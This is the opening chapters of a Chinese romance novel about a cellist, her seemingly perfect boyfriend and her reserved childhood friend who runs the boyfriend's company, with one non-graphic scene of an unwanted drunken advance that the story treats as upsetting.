《丙丁》
1. 大提琴
-
金色典雅的音乐厅内,身着黑白正装的交响乐团位于舞台中央,庄重而陶醉地演奏着。
本场音乐会的最后一首曲目,是柴可夫斯基的f小调第四交响曲。
极致的乐响回荡在整个圆厅内,配上头顶璀璨夺目的水晶灯,视觉听觉上的华丽效果不言而喻。
随着最后一个激昂的音符落下,一曲恢弘落幕。
雷鸣般的掌声隔了很久才停。
乐团谢幕,观众散场。
下了台。
梁亦芝拿着琴,回到休息室。
休息室空间不大,要容纳下几十号人,再加上体积庞大的各种乐器,这会儿更显局促。
梁亦芝把手里的大提琴轻轻放下,找到自己的琴盒,取出琴布,小心翼翼地擦拭琴弦,清理上面落下的松香末。
“——亦芝!”
梁亦芝闻声抬头,吴悠正朝她走来:“亦芝,一会儿怎么回去?还是我载你一程,咱们一起去吃个夜宵呗?”
梁亦芝和吴悠同为玉城交响乐团的大提琴手。两人年龄相近,性格又相仿,看彼此天然就带点好感。一来二去,成了乐团里最要好的一对搭子。
吴悠家里最近刚给她买了新车,两人住得虽然不近,但吴悠人热心,经常送她回家。
梁亦芝笑着道:“谢谢,今天就不麻烦你啦,谢昀说他会来接我。”
吴悠听了,露出不怀好意的笑容:“这么晚了来接你,你们今天难道要去外面过夜?”
她凑到梁亦芝身边,拿胳膊肘轻轻顶了顶她,梁亦芝被逗得有些不好意思。
“没有的事,就是送我回家而已。”
“有什么可害羞的。”吴悠笑她,还没说两句就脸红了,脸皮薄得跟纸一样。
话音刚落,她眼尖,看见她们口中的当事人刚好走进休息室,一颗乌黑的脑袋在人群中四处张望。
吴悠见过谢昀几回,对方长相端正,穿衣打扮整洁得体,整个人就像冬天的旭日一样干净柔和。
从外表上来说,和梁亦芝这样清纯可人的长相确实相配。
吴悠也常常从梁亦芝这里听说谢昀的种种优秀事迹,堪称是模范男友。
不仅品德优秀,还正直廉洁的男人,在现在这个社会真是太少见了,以至于谢昀的存在,有时会让吴悠觉得有些不现实。
“不管怎么样,祝你度过一个美好的夜晚!”
吴悠背上琴盒,给她指指方向,“你的亲亲男友来了,我先撤了。上次跟你说的谱子,记得带给我哦。”
“没问题。”
梁亦芝应声,一边手上动作飞快地收好琴,合上盖子,抬头找人。
仿佛有心电感应似的,她抬眸那一瞬,谢昀也看了过来,双目对视间,他露出温柔一笑,来到她身边。
谢昀高抬手臂,上来就把人拥入怀里,在她耳边亲昵道:“今天辛苦了,我的演奏家。”
在大庭广众之下做如此亲密的举动,梁亦芝有点害羞。她拿手推推他:
“快松开!这里人很多,看到又要被乐团的人笑话了。”
“怕他们做什么?都是嫉妒你有男朋友。”谢昀嘴上虽然这么说,仍是放开了梁亦芝,改捏了捏她的脸蛋。
“你今天真的很漂亮。”谢昀搭上她肩膀,搂着她,“刚刚在台上,我给你拍了好几张照片,要不要看看?”
梁亦芝张了张嘴,没第一时间回应他。
按照规定,音乐会的中途是不可以拍照或录像的,这是对交响乐团的尊重,也是看音乐会的基础礼仪。
不过梁亦芝没把这话直接说出来。
谢昀不常听音乐会,也听不懂这些高深莫测的古典乐,他是和梁亦芝在一起之后才接触到这些。
他不了解音乐,也不懂艺术。国内音乐厅对这些的管控又不严格,她没必要泼他这盆冷水,到头来闹得不愉快。
“拿来给我检验一下。”思虑过后,梁亦芝还是伸手。
谢昀笑着刮了下她的鼻子,拿出手机低头翻找。
休息室人来人往。
身边不时有同事经过,跟梁亦芝打招呼,不忘打趣她两声,她也笑着大方回应,跟他们挥手告别。
这时,门口出现了另一个身影。
男人停步,站在门外。
黑色的长款风衣,下摆直至小腿处,衬得身材挺拔颀长。内搭是同色的黑色高领,深色拉长比例,让他整个人更显宽阔。
这样一身穿搭,淹在乐团的正装里并不显眼,可那张神清骨秀的脸,却足够吸引所有的视线。
他下巴微扬,似在找人。
听见一旁隐隐的骚动声,梁亦芝抬头看过去——
认出人时并不意外。
她早就习惯了他这样低调而又张扬的出场方式。
见到人,她欣喜地举起手臂,朝那个方向挥舞。
对方看过来,目光微垂,落在她身上。
许久未见,她似乎没变多少,脸上依然是透着傻气的真挚笑容。身上那件黑色礼服,让她的肤色在人群中像发着光。长发做了微卷,蓬松柔软地散在雪白瘦削的肩头。
他这才看到,罩在那上面的那只手。
看到立在她身旁的另一个男人。
顾寅言淡淡瞥了两眼。
梁亦芝刚想招手喊他过来,就看到顾寅言也抬了手,先指了指外面,随后食指和中指交替前后动了下。
梁亦芝一眼就明白他的意思。
她比了个ok,隔着人群,看着门口的男人潇洒转身。
走时,敞开的风衣下摆和串在身后的系带随着他脚步,翩翩飘起,一角余影消失在墙后。
有点像草地里蜿蜒穿行,蓦然隐去的蛇尾。
谢昀注意到她的动静,恰巧抬头,柔声问:“怎么了?”
“没什么。”梁亦芝莞尔,打消他顾虑,“我认错人了。”
梁亦芝有点自责,在心里暗暗批判自己真不够意思。
跟谢昀恋爱以后,她和顾寅言之间的交往就淡了许多。
自这次演出之前,他们已经两个多月没见面了。他难得来后台找她,她也没能跟人家寒暄上两句,几个手势像是把人匆匆打发了。
不过没办法。梁亦芝瞟一眼身旁的男人。
谢昀在这呢。
这时,谢昀也已经挑出了今晚的照片,把手机递给她道:“你看看。”
梁亦芝接过。
谢昀拍照确实没话说,她朋友圈有三分之一的照片都是谢昀帮忙拍的。都说照片能够传递拍摄者那一刻的真实想法,在谢昀的照片里,她总是取景框里唯一的焦点。
画面里,她坐在舞台靠右的位置。也不知是谢昀构图好,还是她本就吸睛,照片里一眼就很突出。
黑色的长裙加黑发,木质的大提琴靠在她身前。她微垂着头,因为太过专注,眉头不自觉微拧起,完完全全地沉浸在琴弓下的每一阶音符中。
梁亦芝很适合这种大面积的深色色块,不需要花里胡哨的细节或元素,气质自然浓郁优雅。
母亲常说,喜欢看她拉琴时的样子。因为只有那时,她看起来才算得上沉稳。
梁亦芝想说些什么,但最后只道:“你拍照技术真好。”
“当然了,我把图片发给你。”谢昀低头操作,一边替她背起大提琴琴盒,拉着梁亦芝的手出去。
快走到音乐厅出口时,谢昀停下。
“你今天穿的少,别着凉了。”他把身上的琴放下,随后脱下自己的外套,给梁亦芝披在肩上。
还不忘注意把梁亦芝压在外套下的长发搂出来,轻手帮她理顺。
外套上还带着属于他的余温,暖融融的。
谢昀一向是如此贴心,关照到她的每一处细节。
梁亦芝朝他笑了笑,伸出手,攥紧了外套的领口,像是生怕这温度很快就会流走。
两人手牵手走出剧院。
谢昀没有车,因此平时来接送她都是打车,先把梁亦芝送到家,自己再打车回去。
到小区门口,两人一块儿下了车。
深秋的夜晚冻得人发颤,地面枯黄的落叶低低地随风盘旋。
谢昀把人送到单元楼下。
情意正浓,舍不得分别,梁亦芝缩在谢昀温暖的臂膀里,不想松开。谢昀也看出,就这么任由她抱着。
过了好一会儿,谢昀的声音在她头顶响起:
“不请我上去坐坐?”
梁亦芝后撤一步,作势抬手要揍他:“才不请你,你心思不正!”
谢昀笑着躲开,又拉住她手腕把人拢入怀里。
晚风吹过,他把下巴轻轻搁在她头顶,没有再开口。
梁亦芝原以为谢昀会再故意追问她两句,为什么恋爱这么久、从不邀请我去你家之类的话。
可他并没有。
每次都是这样,点到为止。
梁亦芝和谢昀恋爱已经半年,关系一直很稳定。她性格比较保守,这么长时间来也没刻意往那方面想过,一切顺其自然就好。
目的性太强地奔着性而去,让她觉得太过功利,那样的感情不够纯粹,梁亦芝不喜欢。
所幸,谢昀和她的想法好像差不多。
交往以来,谢昀对她从没有过分逾矩的行为,或者让她感到冒犯的话语。
他一直很尊重她。
他们楼下静静抱了一会儿,直到谢昀口袋里的手机忽然响了一声,打断这沉寂
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。
他拿出来看。
梁亦芝问:“是什么?”
“……没什么,就工作消息。”谢昀短短扫了眼,就熄了屏,把手机重新塞回口袋。
梁亦芝同情地看向他:“这个点还有工作消息啊?”
“当然了,公主。”谢昀笑道,“你以为大厂这么好混呢,随时随地在线,保持联络状态。”
谢昀在一家互联网大厂就职,是产品研发部门的项目经理。他工作忙,过去约会时就掏出电脑来办公的情况不在少数。
他不是玉城人,但要想留在这座浮华的城市,就要比别人付出多好几倍的努力。
谢昀常跟她说自己未来的规划,他打算今年买一辆车,未来十年内争取买房落户。到那时,他们就可以拥有自己的小家,组建一个美好的家庭。
温馨而又充满希望。
梁亦芝理解他的拼命上进,点点头说:“辛苦你了。”
“对了。”谢昀想起什么,又和梁亦芝提起,“赵泠下周生日要办个聚会,你跟我一起去?”
听见意外的名字,梁亦芝困惑道:“她邀请我?”
谢昀在高中时有一个小团体,加起来约莫五六人,而赵泠正是其中之一。毕业后,大家纷纷去向各方,联系渐少,只剩下谢昀和赵泠还在玉城打拼,两人才走得比较近。
谢昀常常提起她,也带梁亦芝见过他的朋友,她和赵泠打过几次照面。
赵泠性格飒爽、大大咧咧的,会说话,也爱交朋友,因此梁亦芝对她印象还算不错。
谢昀说:“当然了。赵泠说她很喜欢你,还夸你拉大提琴的时候就像天仙一样,天天喊你女神呢。”
“你不用想太多,去的话,礼物我会帮你准备好,随便玩玩。”
梁亦芝虽然认识赵泠,不过也只是仅此而已,她俩见面说过的话加起来不超过五句,对面这番的吹捧着实让她诚惶诚恐。
梁亦芝说:“算了,你们圈子的人我都不太熟,还是不去了。你就说我有演出,等快结束的时候,我去接你,打个招呼就走。”
谢昀没多说什么,知道她不喜欢那种场合,于是答应下来。
和谢昀道别后,梁亦芝上了楼。
她一个人独居,房子是父母给她买的大平层,空间大、视野好、精装修。梁亦芝洗漱过后,给自己热了杯牛奶,确认谢昀安全到家后,就睡下了。
第二天一直睡到自然醒。
吃过早饭,梁亦芝想起昨晚,她摸出手机给人发消息。
【你忙吗?】
刚发出去,她又觉得不妥,这句话的意义和“在吗”没什么区别,她知道顾寅言讨厌这样没有效率的沟通,于是赶紧又补上后面一句。
【不忙我去找你吃个午饭呗。昨天你走的太快了。】
顾寅言没说好,也没说不好:
【我一点有会。】
梁亦芝爽快回:【没问题。11点肯定到。】
-
梁亦芝被秘书引进顾寅言办公室的时候,已经是十二点了。
她进门时,顾寅言正站在落地窗前接电话。
他今天穿的依旧是一身正装,高级西装的立体剪裁把他的肩线拉得又宽又正。
顾寅言一手插在兜里,窗外的光线刺透进来,深灰色的背影漫在一片光芒之间。
看见来人并不意外,顾寅言半侧过头,给了她一个眼神示意。
梁亦芝知道他在谈工作,摆摆手:你忙你忙。
她自顾自在沙发上安静地坐下。
顾寅言的办公室很大,空间很私密,不会有其他人闯进来。在这安逸的氛围下,梁亦芝不自觉也放松了姿势,半靠在沙发上。
这里位于大厦的32层,从窗户望出去,幢幢高楼鳞次栉比。阳光下,建筑外观反射着冷银色的强光,格外地不近人情。
梁亦芝看了会儿觉得眩目,把视线重新移回到窗前的男人身上。
顾寅言微低着头,表情不耐,可语调仍旧平稳缓和。
梁亦芝知道他这个表现,其实是已经对通话中讨论的内容感到厌烦了。不出一分钟,这个电话马上就会结束。
她望着他的背影,在心中盘算着时间,百无聊赖地做着预判。
果然,在梁亦芝数到第四十五秒的时候,顾寅言收了手机,挂断电话。
他回过头时,正好对上梁亦芝的眼睛。
沙发那块的光线不如窗边强烈,日光轻柔,像一层浅金色的纱幔,铺在她的身体之上。
她一直凝望着他的方向,目光直白,还带着某种神秘的微笑。
顾寅言看她一眼,把手机丢到桌上,反问道:
“你这么看着我,谢昀不会吃醋么?”
2. 厚茧
梁亦芝对自己的表情浑然不觉。
她解释道:“我只是在算,你会不会在一分钟之内结束电话。”
顾寅言说:“你来之前我也在想,你能不能在半小时之内准时到。”
被他讽刺一嘴,梁亦芝险些挂不住脸,清清嗓子:“这不是没耽误事吗?”
梁亦芝习惯了迟到。倒不是因为她拖拉,只是她每次临到出门前就爱磨蹭,突发奇想去收收这个理理那个,安排好的时间容量就不够用了。
再加上,对方是顾寅言。
那她就更不用慌张了。
顾寅言拨通内线,通知秘书:“刚刚让你订的餐,到了就送进来吧。”
梁亦芝跟他约好的时候,他就跟秘书吩咐好了。餐刚送到,分秒不差。
梁亦芝看着秘书小唐把两份餐食端进来,不满地“啊”了一声:“我们不出去吃吗?”
“想出去吃,你可以去22楼找你的男朋友。”
梁亦芝撇撇嘴:“我才不去,他不喜欢我在上班的时候找他。”
顾寅言问:“你还没告诉他?”
“什么没……”梁亦芝坐直身子,拆餐具准备跟他一块吃。她一下子没反应过来顾寅言指的哪一件事,想了想她才说,“啊——你说我跟你们公司的关系?他不知道。”
谢昀能入职明炬这家互联网大厂,其实是梁亦芝拖了关系,让顾寅言给他开了后门。
明炬科技是现在炙手可热的互联网公司,负责的产品和业务几乎覆盖了百分之八十的市场,随手抓出一个都是耳熟能详,当之无愧的行业翘楚。
明炬又隶属于承晖集团。
而非常不巧的是,顾寅言正是集团董事长的儿子。几年前,顾寅言从父亲那接手,监管了这家公司。
当时,谢昀和梁亦芝刚好上没多久,行业寒冬,他被公司辞退了。虽然拿到了一笔不小的赔偿,但失业的时间久了,难免让人焦虑。
谢昀那一阵的心情不好,跟她说话也没好气。梁亦芝想帮他,可她从小到大一路直通艺术学院的大门,哪里晓得外面求职市场的险峻犹如风刀霜剑。
所以,梁亦芝干脆联系了顾寅言,让谢昀去这家公司试试。
顾寅言看过谢昀的简历。双非本科毕业,研究生考上了个211,但就业履历和项目经验都没有什么出彩的地方。
他用人的标准很严格,和梁亦芝实话实说。
“我可以给他一次面试机会。但入职和转正,要看他的表现。”
于是,谢昀就这么顺利地进入了这家大企业。他自己也算争气,三个月后成功通过考核,留了下来。
但这些事情已经过去半年之久,顾寅言没想到梁亦芝仍没有准备告诉他。
他随口问:“你还有多少事情瞒着他?”
梁亦芝小口咀嚼着,细细思索:“除了这件事,和我的家庭状况,别的就没有了。”
“你不怕他以后知道了生你的气?”
“会生气吧。”梁亦芝想,“但没关系,我肯定能哄好的。”
她和谢昀的关系很稳定,长时间的交往下来她对谢昀已经充分地考察过了。她对他有信心,谢昀不会像她之前的前男友一样。
顾寅言对她这话不予置评。
梁亦芝托着脸,手肘撑在大腿上:“不过你们公司也太辛苦了。昨天谢昀送我到家,快十二点了,工作消息还没停过。”
顾寅言放下筷子,拿餐巾纸抹了抹嘴。他教养极好,吃饭的时候极少像梁亦芝一样,嘴除了嚼东西还要动个不停。
“公司不鼓励员工加班,但是也不反对员工自己努力。在互联网行业,加班是常态。”
冷冰冰的,没有任何情感可言。
梁亦芝时常会有这种错觉,觉得自己就像是在和机器人对话,她拿出手机随便找个AI,音调都能比他声情并茂上数百倍。
她执着道:“那你作为老板,就不能给员工减减负吗?”
“有人帮我挣钱,我高兴都来不及。为什么要打击他们的积极性?”
瞧瞧,高傲冷血的资本家。
她在心底暗骂顾寅言两句,仍旧是想逼他从那平直的唇线下吐出一句有人情味的话来。
梁亦芝:“那就凭我们的关系,也不行?”
她妄图用她和顾寅言十年的交情,让他多照顾一下自己的男朋友。可惜很不巧的是,她用错了方法,且顾寅言最不吃这一套。
他声线刻薄:“梁亦芝,不管是谁,公私分明一点。”
“别又吃从前的亏。”
顾寅言的语气其实不重,可他就算只是静坐在那,天生就带点不怒自威的气场。
梁亦芝性格好相处,人又热心,从小到大,一旦她认定是朋友的人,只要对方有困难,她总是会不遗余力地去帮他,却也因此吃了不少苦头。
这类事情上,她自知理亏,也就彻底噤了声。
梁亦芝低下了头,筷子尖戳着碗里的白米饭,把每一粒糯白都碾碎,粘在盒子里。
她埋着头,小声道:“哎呀好了好了,我开玩笑的。”
顾寅言视线掠过看她手里的动作。
他问:“来找我,就为了让我照顾你男朋友?”
“当然不是。”梁亦芝说,“我是看你昨天看完音乐会直接走了,咱们这么久没见了,也没能说上话,过来找你聊聊天。”
梁亦芝从小玩到大的最好的朋友,一个是顾寅言,另外两个是何嫚和蒋徊。他们四个是长在同一片区,同出同进的好友。
梁亦芝和顾寅言也有两个月没见了,虽说大家离得近,可彼此也有自己的事情要忙,抽出时间来正式见面并不算一件容易的事。
梁亦芝问他:“昨天那场音乐会,你觉得怎么样?”
她在玉城本地的演出,顾寅言常来看,出勤的次数比谢昀要多得多,只不过他每次看完,都只是手机上告诉她一声,散场就离去。
梁亦芝觉得顾寅言应该挺喜欢古典乐的。他从小学钢琴,跟她开始学拉大提琴的时间差不多,父母又都是海归,自然得到不少艺术方面的熏陶。
他不像谢昀。
他们是两个世界的人。
谢昀温柔又和善,谈吐风趣幽默,既尊重又照顾女生,天然的给人亲切感。
顾寅言养尊处优,恪守一切从小习得的教条,待人有礼。唯一的缺点是不擅长利用他那突出的外貌优势,再好看的一张脸,总是冷着,也会令人望人生畏。
她不自觉扫描顾寅言的脸,想看透他在思索的东西。
顾寅言没想什么,只是脑海里回放起昨晚后台,谢昀亲密地将梁亦芝搂在怀里。他的手搭在那块雪白到几近刺目的肌肤上。
顾寅言没进去找梁亦芝。
怎么好破坏情人热恋的氛围。他不是那样的人。
顾寅言说:“跟以前的都差不多。”
他冷不丁站起身,对梁亦芝道:“会议要开始了,你吃完不想收拾就放在这,让小唐叫保洁处理。”
梁亦芝仰着头,看着顾寅言出了办公室,扁了扁嘴,觉得自讨没趣。
她究竟是怎么和这种人当了这么多年朋友的,真是神奇。
梁亦芝独自用完餐,把顾寅言留在那的餐盒顺手收拾了。出门时跟小唐说,让保洁再来清理一下。
她下楼,在楼下咖啡厅买了杯冰拿铁,碰上了不少这栋写字楼里的员工。她们挂着工牌,有说有笑地在等咖啡。
梁亦芝想了想,也给顾寅言和小唐买了。一杯冰美式和桂花拿铁,送上楼后她才离开。
她给顾寅言发微信:【我走咯。给你买了咖啡,叫小唐送过去给你。】
【好。让老张送你回去。】
【不用。我打车就行。】
梁亦芝回了家,拿了谱子和大提琴去乐团,今天下午有排练。
她七岁开始学大提琴,人才长得跟琴身差不多大的时候,就开始学习如何抱琴拿弓。最初时,她觉得拉大提琴的样子不好看,想改学小提琴。梁妈妈是音乐教师,只要是音乐方面的,孩子有想法就任由她去。
可梁亦芝才拉了几天小提琴,就开始怀念起能坐着拉大提琴的日子。因为想坐着偷懒,她又临时变卦。时间一晃而过,再枯燥的日子也熬过来了,如今大提琴已经成了她生命里不可分割的一部分。
她热爱拉琴,也热爱这份事业。
梁亦芝在乐团一直练习到傍晚。
回家后她简单吃了个饭,洗漱好换了身衣服,看时间差不多了,再次出门。
梁亦芝打车来到醉声阁ktv。
赵泠的生日场子定在这里。
进包厢时,人声喧闹如潮,耳边歌声轰鸣。谢昀看上去已经喝得很醉了,眼神朦胧,整个人斜斜地横在沙发上。
梁亦芝进去后,先和众人打
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了招呼,又和赵泠道了生日快乐。她没有在此多留的想法,就准备带谢昀离开。
临别时,赵泠帮她一块把人扶到门口。
梁亦芝挎着谢昀,拿全身力量撑着他,对赵泠说:“谢谢大寿星,不能再麻烦你了。今天是你的主场,快回去吧。”
“不麻烦。”对面的赵泠抱着双臂,开玩笑一般拍了拍她的肩膀。
赵泠:“亦芝,我知道你们俩恩爱,但有时候你也得多放谢昀跟朋友们玩一玩,有了你之后,他都不爱搭理我们了。”
说完,她自顾自笑了起来。笑声在周遭朦胧不清的音乐声中,显得格外清脆而突兀。
梁亦芝没懂她这笑声的含义。
她自己有异性好友,也从未约束过谢昀跟朋友们来往,赵泠这番话说得好像谢昀和他们一众好友渐渐疏远,都是她在从中作梗。
梁亦芝内心无语,可嘴上仍旧给足面子:“怎么会呢?谢昀经常念着你们的,他只是工作太忙了。”
赵泠没再和她掰扯。
她忽然凑近倚在她身上的谢昀,伸手把他肩膀上一根长发捻了下来。
赵泠看着她:“你男朋友真的很好。”
“你知道么?”
……
出了醉声阁,梁亦芝仍在回想刚刚和赵泠说的那些话。
她到底想表达什么?
可惜她没来得及细想太多,刚拉着谢昀来到路口打车,他就扶着一旁的电线杆吐了。
梁亦芝忙着替他清理,好不容易把人塞上了车,终于能休息一下。
车上,谢昀靠着梁亦芝肩膀,不停地喊她:芝芝、芝芝……又是和她道歉自己酒量不够好,又是抱怨朋友们个个都胡来,灌了他太多酒。
话多到梁亦芝都烦了,她索性抬手,捂住他的眼睛:“好了,我知道了,你先闭眼休息一会儿。”
“我不要。”醉酒的人格外的犟。
“那你想干嘛?”
“跟你在一起的时间,我舍不得用来睡。”
谢昀声音很低,带着酒气。他牵过梁亦芝放在自己脸上的手,捏了捏,又用自己的手指尖,一根一根的顺着轮廓描过去。
经过梁亦芝指尖时,她缩了下,想扣住谢昀的手,不让他看,可又被谢昀抓住了。
他眼神失焦,借着车窗外沿街黯淡的光线,努力辨别视野内的画面。
谢昀盯着梁亦芝的指尖:“宝贝,你的手指有很多茧。”
梁亦芝拉了十几年琴,手上当然留下了痕迹,连两只手掌的大小都不一样。左手因为按弦,手指会比右手长一点点。
她的指尖短圆,上面留下了很多茧,粗粗硬硬的。梁亦芝不喜欢自己的手,也总不好意思展示给谢昀看。
她说:“你又不是第一次见。”
谢昀又把她的手拿近了点看,手指接连在指尖的茧子上反复划过。
谢昀满脑子混沌,喃喃着:“亦芝,你的茧子真可爱……摸起来很特别……”
粗粝的触感,很奇异,让他有点上瘾着迷。
梁亦芝感觉自己被他的酒气熏到了,她的脸烧了起来。
“你别哄我。”
“真的。”谢昀摸了又摸,痴迷一般,语调也变得缓慢柔情起来,“如果你愿意帮我……肯定……会很舒服的……”
谢昀摸够了,捏着梁亦芝的手,引她来到某个满胀的部位,把她的手摁在那布料之上。
梁亦芝瞬间一僵,为自己刚才的脸红觉得羞耻。
她惊得立即想要把手甩开,可是谢昀的力气竟然那么大,大到她怀疑他可能根本没醉。
她又加了一只手,拨开他的,才真正把自己从那地带解放出来。
谢昀彻底醉倒在她肩头,睡了过去。
梁亦芝没想到,谢昀第一次对她有那方面的需求,竟然是在这样一种情况下。
而她的生理反应告诉她,她极为反感他这么强硬的触碰。
梁亦芝心虚地瞄了眼前面的司机。
司机师傅淡然直视前方的夜路,车开的安稳,应该没有听到或者看到刚才发生的那些。
梁亦芝又看向窗外,降下点车窗透了透气。她两手放在腿上,绞在一起,不停抠着那里因磨损而发白的旧茧。
这印记是她苦苦练习成就的烙印,而不是用来做某些苟且之事的工具。
这个夜晚突然就变得有些讨厌了。
3. 针织衫
和何嫚提起这件事,是在两天后。
何嫚来找梁亦芝,问她借一条某品牌的短款皮裙。
她今天要参加一场线下活动,这个品牌方的内容要求很高,何嫚好不容易跟她们敲定了服装,谁能想到,都到了这个节骨眼上,她人到了会场,服装却出了点问题。
何嫚只是个小有名气的平面模特,可不敢在这种大场合得罪品牌方。
临时更换着装是不可能的,除非她以后再也不想接到他们的合作。只能临时找一件相近的救场。
助理已经去附近的商场买了,何嫚想着再问问梁亦芝。她的住处就在市中心,离活动地点很近。
梁亦芝二话没说,翻箱倒柜把裙子找了出来,给她送去。
解了燃眉之急的何嫚在微信里咆哮:
【亦芝!你是我的神!爱死你了!】
【晚上等我结束,去你家过夜可以不?等着姐过来狠狠宠幸你!】
梁亦芝看着信息笑出声,抬手打字:
【行。随时欢迎哦。】
晚上十点,何嫚抵达梁亦芝家门口的时候,脸上还带着浓厚的妆。
天气凉,她就穿了一件黑色的背心搭配皮夹克,下身是梁亦芝给她的黑色皮裙,一双长腿在外晃荡,看着就要得老寒腿了。
梁亦芝让何嫚先去洗个热水澡。
洗漱过后,两人敷着面膜,并肩躺在床上。
私密的空间,无限长的夜晚,女孩们的话匣子一旦开启,就停不下来。
梁亦芝把上次谢昀醉酒之后发生的事情复述给了何嫚。
“他急了。”何嫚听后下定论。“衔在嘴边的肉,一年半载还吃不上,换你你不急?”
何嫚哼哼两声:“这男人,装的再好,终究是本性暴露了吧?”
梁亦芝抹了抹脸上面膜的褶皱:“可他以前从不会这样。”
“所以酒后暴露出来的本性,才更加真实了啊。”
何嫚凑近:“亦芝,别告诉我,你不会真相信这世界上有人在认真地跟你搞纯爱吧?尤其还是一个二十多岁,正值青年、血气方刚的男人。除非他没能力,否则不可能没那想法。”
“这太绝对了吧……”
何嫚:“那你呢,你也不想?”
何嫚问到点上了。梁亦芝支支吾吾答:“……我又不急。”
何嫚了解她。
梁亦芝这人保守,对一段关系有自己的界定,每个阶段都有一个非常主观的评判标准。在她心里,只有达到那个标准之后,关系才能向上进阶一级。
何嫚:“你就是想太多,总想些这啊那啊的。男女之情,哪有那么多可想的,总得靠着荷尔蒙的驱使去做一些疯狂的事情。”
既然聊到了这个话题,何嫚一时间又联想到了自己近期听来的圈里的桃色八卦,兴奋地给梁亦芝分享了起来。
梁亦芝听得津津有味。
事件的主人公不是自己,就变得为人乐道了。
两人一直聊到深夜,直到眼皮上下粘连,才沉沉睡去。
-
梁亦芝想,何嫚的话或许不无道理。
一直以来,谢昀对她的态度都是分寸得当,进退有度。她不愿意的事,他从不会强求。
尊重到让她已经心安理得地适应了两人之间的距离和相处模式。
如今她和谢昀的关系逐步稳定下来了,现在或许是时候放开驻守边界的那道城墙,让他们的关系开启一个新的阶段。
说她害羞也好,矫情也罢。
或许人总会对那种事抱有一种圣洁的幻想,梁亦芝希望那会是在一个美好的氛围下,进行一场真心的交付。
她想等一个时机。
一个气氛催化后、可以顺水推舟,让一场巫山云雨来得理所当然的时机。
乐团周末在B市有一场演出。
借着这个机会,梁亦芝试探地问谢昀,要不要跟她一起去B市。
她和谢昀还没出去旅行过,她周末有演出,谢昀工作日都要上班,两人行程不太能对得上。
如果谢昀有空的话,他们可以在那短暂的过个周末,也算是第一次二人旅行。
谢昀欣然应允。
既是她主动发出的邀请,也没想让谢昀从工作中分心,梁亦芝独自揽下了所有准备工作,开始做旅行攻略。
简单规划好行程后,梁亦芝逛遍各大平台,定了一间日式温泉酒店,隐秘性好,还有观赏性极佳的园林景观。游玩结束,晚上回到酒店泡温泉,再合适不过了。
想到这,梁亦芝又有点紧张。
-
周六当天。
梁亦芝按照既定行程,在B市进行演出。
演出前,她接到谢昀的电话。
谢昀:“芝芝,真的是临时……我明天得跟团队飞一趟广州,下周二回来。今天……应该是没办法过去了,你看下次有机会,我再去找你好不好?”
说不失望是不可能的。
梁亦芝没直接表露自己的不开心,借故推辞他,算是一种委婉的表达方式:
“我下周末有工作,那再说吧。”
谢昀哄了她很久,可梁亦芝听的心不在焉。
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>心底像有块疙瘩,迟迟难以消平。
想到她为了今晚做的准备,梁亦芝叹了口气,觉得有些可笑。
不过也幸好,这些事只有她自己知道。
既然不用等谢昀,那她也不必在外地多逗留。梁亦芝改签了机票,当天回到玉城。
回到玉城时是晚上七点多,因为票改签得比较晚,梁亦芝没有和同事们乘坐一个航班。
她一个人下了飞机,梁亦芝没注意,她的手机早就没电了。右上角的电量条显示红色,梁亦芝一看,竟然只剩下3%了。
她一下慌了神。这么点电,根本不够她打车到家,身上也没带现金。
梁亦芝打开手机,想跟谢昀说一声,然而她心里还在对谢昀置气,又想到谢昀没有车,要是过来接她还得打车,索性断了这个念头。
她打开通讯录,用仅剩的三格电,给顾寅言拨了电话。
响了几声后,电话被接起。
通话铃声消失的那一刻,梁亦芝跟着开口:
“顾寅言。”
“怎么了?”
“你忙吗?”梁亦芝踌躇着说明自己的情况,“我刚从B市飞回来,人在机场,手机只剩百分之三的电量了……你能不能过来接我一下?”
顾寅言听完,没多废话:“在哪个口?”
“T2。”
“我现在过去,大概半小时到。”
梁亦芝能听到他那边轻微的杂音,他应该是起了身,准备出门。
顾寅言说:“你不要乱动,找个地方等我。电省着点用。”
“好。”
挂了电话,梁亦芝安心地吁一口气。
然而手机并没有给她“省着点”用的机会。耗完最后一丝电,立刻就蔫蔫地熄了屏。
梁亦芝把手机揣进兜里,去了机场里的咖啡厅坐着。
这里位置显眼,顾寅言应该能找着自己。
梁亦芝拿了本杂志打发时间,有一搭没一搭地看着。
感受不到时间的流逝,梁亦芝正对杂志里一篇采访看得入迷,手里的册子被人抽走。
顾寅言立在一边,拣起杂志,翻过封面看了眼。
他今日难得穿着稀松平常,一件黑色开衫,V型的领口微敞着,和上方修长的脖颈、利落的下颌线,连接成一片裸露在外却令人赏心悦目的光景。
开衫针脚不密,从那布料之下能看到隐约的肤色,他身材好,撑得起这难以驾驭的版型。
他把杂志放到桌面上,视线自上而下睨着她:
“谢昀就是这么把你一个人丢在这的?”
4. 蕾丝蝴蝶
“……他有点事。”
梁亦芝含糊过去,不想多提及谢昀。
反正顾寅言不怎么关心别人的事情,他向来不会多问的。
只是没想到顾寅言的车速还挺快,这会儿才过去二十分钟没到,他就站在了她面前。
天色沉沉,晚高峰也过了,估计路上没怎么堵车。
果不其然,顾寅言只是拿过一旁的琴盒,对她说:“走了。”
梁亦芝扬起笑脸,背上包跟在他身后:
“就知道你靠谱。”
她随顾寅言来到停车场。
梁亦芝一路给顾寅言讲她在B市的的见闻,风景如何的气派、演出时偶尔还是觉得手生、观众席又有人咳嗽等等鸡毛蒜皮的小事。
她眉飞色舞地说着,忽然,抬起的小臂被人抓在手里。
顾寅言示意她攥在手里的卡包:“是不是没弄丢你就不死心?”
卡包里装着她的身份证和银行卡,刚刚她下飞机之后就一直把它拿在手里。
梁亦芝嘴硬:“我拿着呢,又不会弄丢。”
“转过去。”
梁亦芝“哦”一声,最后还是配合地转过身,拿后背的背包对着他。
因为是短途出行,梁亦芝精简了行李,只背了一个双肩包,所有物品都装在里面。
顾寅言打开,拿过卡包,刚准备把东西放进去,背包最上层的一个袋子跃然闯入他视线。
——那是一个半透明的衣物袋。
里面装着的是一套小巧精致的内衣。
指尖触到弧形的杯面,柔软微弹。他动作一滞。
那衣物袋是半透明的,纯白色的内衣安安静静躺在其中,边缘缀了一圈法式蕾丝,肩带上系着小小的蝴蝶结,一看就是非常“梁亦芝”的款式。
既保守,又暗藏着那么点风情,小心思简直一览无余。不用多想,都知道那是为了谁、为了什么而准备的。
“好了吗?”
梁亦芝察觉到后方没了动静,半拧过头。
顾寅言默默移开目光,拿起手里的卡包,把它盖在了那衣物袋的上方。
隐秘的遮挡过,他无声地给背包重新扣上搭扣。
“好了。”
-
